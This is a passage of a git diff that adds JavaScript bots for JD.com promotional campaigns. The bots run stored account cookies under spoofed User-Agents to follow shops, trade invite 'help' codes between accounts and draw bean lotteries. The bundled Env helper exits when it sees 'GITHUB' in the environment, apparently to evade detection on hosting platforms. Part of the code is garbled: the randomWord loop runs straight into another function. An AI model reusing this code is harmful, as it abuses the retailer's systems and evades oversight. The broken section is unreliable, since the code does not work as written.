constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/backUp/jd_productZ4Brand.js b/backUp/jd_productZ4Brand.js new file mode 100644 index 0000000..0ee49b7 --- /dev/null +++ b/backUp/jd_productZ4Brand.js @@ -0,0 +1,360 @@ +/* +特务Zx佳沛 +cron 23 0,9 24-27 7 * jd_productZ4Brand.js +要跑2次,第一次做任务和脚本内互助,第二次才够币抽奖 +*/ +const $ = new Env('特务Z'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.helpEncryptAssignmentId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try{ + await main(); + }catch (e) { + console.log(JSON.stringify(e)); + } + await $.wait(1000); + } + // let res = []; + // try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/ProductZ4Brand.json');}catch (e) {} + // if(!res){ + // try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/ProductZ4Brand.json');}catch (e) {} + // if(!res){res = [];} + // } + // for (let i = 0; i < 1; i++) { + // $.cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // $.encryptProjectId = useInfo[$.nickName]; + // for (let j = 0; j < res.length; j++) { + // $.code = res[j]; + // console.log(`${$.UserName},去助力:${$.code}`); + // await takePostRequest('help'); + // await $.wait(2000); + // } + // } + + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.encryptProjectId = useInfo[$.nickName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName){ + continue; + } + if( $.codeInfo.time > 4){ + continue; + } + console.log(`${$.UserName},去助力:${$.code}`); + await takePostRequest('help'); + await $.wait(2000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.activityInfo = {}; + await takePostRequest('showSecondFloorRunInfo'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + return ; + } + console.log(`获取活动详情成功`); + if(!$.activityInfo.activityUserInfo || !$.activityInfo.activityBaseInfo || !$.activityInfo.activityBaseInfo.activityId){ + console.log(`活动信息异常`); + return; + } + $.activityId = $.activityInfo.activityBaseInfo.activityId; + console.log(`当前活动ID:${$.activityId},call值:${$.activityInfo.activityUserInfo.userStarNum}`); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.nickName] = $.encryptProjectId; + await $.wait(2000); + $.taskList = []; + await takePostRequest('superBrandTaskList'); + await $.wait(2000); + await doTask(); + await $.wait(2000); + $.runFlag = true; + for (let i = 0; i < 4 && $.runFlag && Number($.callNumber) > 200; i++) { + console.log(`进行抽奖`); + await takePostRequest('superBrandTaskLottery');//抽奖 + await $.wait(2000); + } + +} + +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3){ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + $.runInfo = $.oneTask.ext.followShop[0]; + await takePostRequest('followShop'); + } + + if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0 + }); + $.helpEncryptAssignmentId = $.oneTask.encryptAssignmentId; + } + } +} + +async function takePostRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'showSecondFloorRunInfo': + url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=showSecondFloorRunInfo&t=${Date.now()}&body=%7B%22source%22:%22run%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandTaskList&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandTaskLottery&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'followShop': + url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandDoTask&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandDoTask&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.helpEncryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getPostRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'showSecondFloorRunInfo': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + //console.log(JSON.stringify(data)); + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode === 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + console.log(JSON.stringify(data)); + break; + case 'followShop': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + } + break; + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000); + resolve(); + }) +} + +function getPostRequest(url) { + const method = `POST`; + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/47w2FM3CZDer1C7ASmiehTveqG3d/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + const body = ``; + + return {url: url, method: method, headers: headers, body: body}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new 